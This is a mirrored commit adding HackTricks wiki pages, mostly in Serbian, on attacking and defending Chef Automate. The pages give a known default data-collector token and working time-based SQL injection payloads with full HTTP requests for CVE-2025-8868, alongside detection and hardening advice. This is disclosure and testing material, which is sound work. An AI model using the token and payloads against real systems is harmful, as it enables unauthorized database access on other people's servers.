mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA
This commit is contained in:
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
18
src/pentesting-ci-cd/chef-automate-security/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
# Chef Automate Sigurnost
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je Chef Automate
|
||||
|
||||
Chef Automate je platforma za automatizaciju infrastrukture, usklađenost i isporuku aplikacija. Izlaže web UI (često Angular) koji komunicira sa backend gRPC servisima preko gRPC-Gateway, pružajući REST-slične krajnje tačke pod putanjama kao što je /api/v0/.
|
||||
|
||||
- Uobičajene backend komponente: gRPC services, PostgreSQL (često vidljivo preko pq: error prefiksa), data-collector ingest service
|
||||
- Mehanizmi autentifikacije: user/API tokens i data collector token header x-data-collector-token
|
||||
|
||||
## Enumeration & Attacks
|
||||
|
||||
{{#ref}}
|
||||
chef-automate-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,142 @@
|
||||
# Chef Automate Enumeration & Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
Ova stranica sakuplja praktične tehnike za enumeraciju i napade na Chef Automate instance, sa naglaskom na:
|
||||
- Otkrivanje gRPC-Gateway-backed REST endpointa i zaključivanje shema zahteva putem odgovora o validaciji/greškama
|
||||
- Zloupotreba headera x-data-collector-token za autentifikaciju kada su prisutne podrazumevane vrednosti
|
||||
- Time-based blind SQL injection in the Compliance API (CVE-2025-8868) koji utiče na filters[].type polje u /api/v0/compliance/profiles/search
|
||||
|
||||
> Napomena: Backend odgovori koji uključuju header grpc-metadata-content-type: application/grpc obično ukazuju na to da gRPC-Gateway povezuje REST pozive sa gRPC servisima.
|
||||
|
||||
## Recon: Architecture and Fingerprints
|
||||
|
||||
- Front-end: Često Angular. Statički bundle-i mogu nagovestiti REST putanje (npr. /api/v0/...)
|
||||
- API transport: REST ka gRPC preko gRPC-Gateway
|
||||
- Odgovori mogu uključivati grpc-metadata-content-type: application/grpc
|
||||
- Database/driver fingerprints:
|
||||
- Tela grešaka koja počinju sa pq: snažno ukazuju na PostgreSQL sa Go pq driverom
|
||||
- Zanimljivi Compliance endpointi (zahteva autentifikaciju):
|
||||
- POST /api/v0/compliance/profiles/search
|
||||
- POST /api/v0/compliance/scanner/jobs/search
|
||||
|
||||
## Auth: Data Collector Token (x-data-collector-token)
|
||||
|
||||
Chef Automate izlaže data collector koji autentifikuje zahteve putem posebnog headera:
|
||||
|
||||
- Header: x-data-collector-token
|
||||
- Rizik: Neka okruženja mogu zadržati podrazumevani token koji daje pristup zaštićenim API rutama. Poznat podrazumevani token viđen u prirodi:
|
||||
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
Ako postoji, ovaj token se može iskoristiti za pozivanje Compliance API endpointa koji su inače zaštićeni autentifikacijom. Uvek pokušajte rotirati/onemogućiti podrazumevane vrednosti tokom hardeninga.
|
||||
|
||||
## API Schema Inference via Error-Driven Discovery
|
||||
|
||||
gRPC-Gateway-backed endpointi često leak-uju korisne greške validacije koje opisuju očekivani model zahteva.
|
||||
|
||||
Za /api/v0/compliance/profiles/search, backend očekuje body sa nizom filters, gde je svaki element objekat sa:
|
||||
|
||||
- type: string (identifikator polja filtera)
|
||||
- values: array of strings
|
||||
|
||||
Example request shape:
|
||||
```json
|
||||
{
|
||||
"filters": [
|
||||
{ "type": "name", "values": ["test"] }
|
||||
]
|
||||
}
|
||||
```
|
||||
Neispravan JSON ili pogrešni tipovi polja obično izazivaju 4xx/5xx odgovore sa nagoveštajima, a zaglavlja ukazuju na ponašanje gRPC-Gateway. Iskoristite to da mapirate polja i lokalizujete površine za injekciju.
|
||||
|
||||
## Compliance API SQL Injection (CVE-2025-8868)
|
||||
|
||||
- Pogođeni endpoint: POST /api/v0/compliance/profiles/search
|
||||
- Tačka injekcije: filters[].type
|
||||
- Tip ranjivosti: time-based blind SQL injection in PostgreSQL
|
||||
- Uzrok: Nedostatak pravilne parametrizacije/whitelistinga pri interpolaciji polja type u dinamički SQL fragment (verovatno korišćen za konstrukciju identifikatora/WHERE klauza). Namerno konstruisane vrednosti u type se evaluiraju od strane PostgreSQL.
|
||||
|
||||
Funkcionalan time-based payload:
|
||||
```json
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Napomene tehnike:
|
||||
- Zatvorite originalni string jednostrukim apostrofom (')
|
||||
- Konkatenirajte podupit koji poziva pg_sleep(N)
|
||||
- Ponovo uđite u kontekst stringa preko || tako da konačni SQL ostane sintaksički ispravan bez obzira gde je type ugrađen
|
||||
|
||||
### Dokaz pomoću diferencijalne latencije
|
||||
|
||||
Pošaljite uparene zahteve i uporedite vreme odgovora da biste potvrdili izvršavanje na strani servera:
|
||||
|
||||
- N = 1 sekunda
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
|
||||
```
|
||||
- N = 5 sekundi
|
||||
```
|
||||
POST /api/v0/compliance/profiles/search HTTP/1.1
|
||||
Host: <target>
|
||||
Content-Type: application/json
|
||||
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
|
||||
|
||||
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
|
||||
```
|
||||
Observed behavior:
|
||||
- Vremena odziva se povećavaju proporcionalno pg_sleep(N)
|
||||
- HTTP 500 odgovori mogu uključivati pq: detalje tokom ispitivanja, potvrđujući putanje izvršavanja SQL-a
|
||||
|
||||
> Savet: Koristite alat za merenje vremena (npr. više pokušaja sa statističkim poređenjem) da smanjite šum i lažno pozitivne rezultate.
|
||||
|
||||
### Impact
|
||||
|
||||
Autentifikovani korisnici — ili neautentifikovani akteri koji zloupotrebljavaju podrazumevani x-data-collector-token — mogu izvršavati proizvoljan SQL unutar PostgreSQL konteksta Chef Automate‑a, ugrožavajući poverljivost i integritet profila usklađenosti, konfiguracije i telemetrije.
|
||||
|
||||
### Affected versions / Fix
|
||||
|
||||
- CVE: CVE-2025-8868
|
||||
- Preporuka za nadogradnju: Chef Automate 4.13.295 ili noviji (Linux x86) prema obaveštenjima dobavljača
|
||||
|
||||
## Detection and Forensics
|
||||
|
||||
- API layer:
|
||||
- Pratite 500 odgovore na /api/v0/compliance/profiles/search gde filters[].type sadrži navodnike ('), operator konkatenacije (||), ili reference na funkcije kao pg_sleep
|
||||
- Pregledajte zaglavlja odgovora za grpc-metadata-content-type kako biste identifikovali gRPC-Gateway tokove
|
||||
- Database layer (PostgreSQL):
|
||||
- Auditujte pozive pg_sleep i greške neispravnih identifikatora (često prikazane sa prefiksima pq: koji dolaze iz Go pq drajvera)
|
||||
- Authentication:
|
||||
- Zapisujte i postavljajte upozorenja za upotrebu x-data-collector-token, naročito poznatih podrazumevanih vrednosti, preko API ruta
|
||||
|
||||
## Mitigations and Hardening
|
||||
|
||||
- Immediate:
|
||||
- Zamenite/onemogućite podrazumevane data collector tokene
|
||||
- Ograničite pristup do data collector endpoint‑a; zahtevajte jake, jedinstvene tokene
|
||||
- Code-level:
|
||||
- Parametrišite upite; nikada ne konkatenirajte SQL fragmente kao stringove
|
||||
- Strogo izričito dozvolite samo prihvatljive vrednosti polja type na serveru (enum)
|
||||
- Izbegavajte dinamičko sklapanje SQL‑a za identifikatore/klauzule; ako je dinamičko ponašanje neophodno, koristite bezbedno citiranje identifikatora i eksplicitne bele liste
|
||||
|
||||
## Practical Testing Checklist
|
||||
|
||||
- Proverite da li se x-data-collector-token prihvata i da li poznati podrazumevani radi
|
||||
- Mapirajte šemu zahteva Compliance API‑ja izazivanjem grešaka validacije i čitanjem poruka o grešci/zaglavlja
|
||||
- Testirajte za SQLi u manje očiglednim „identifier-like“ poljima (npr. filters[].type), ne samo u nizovima vrednosti ili top‑level tekstualnim poljima
|
||||
- Koristite tehnike zasnovane na vremenu uz konkatenaciju da biste održali SQL sintaksno važećim u različitim kontekstima
|
||||
|
||||
## References
|
||||
|
||||
- [Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)](https://xbow.com/blog/cooking-an-sql-injection-vulnerability-in-chef-automate)
|
||||
- [Timing trace (XBOW)](https://xbow-website.pages.dev/traces/chef-automate-sql-injection/)
|
||||
- [CVE-2025-8868](https://www.cve.org/CVERecord?id=CVE-2025-8868)
|
||||
- [gRPC-Gateway](https://github.com/grpc-ecosystem/grpc-gateway)
|
||||
- [pq PostgreSQL driver for Go](https://github.com/lib/pq)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -1,5 +1,3 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user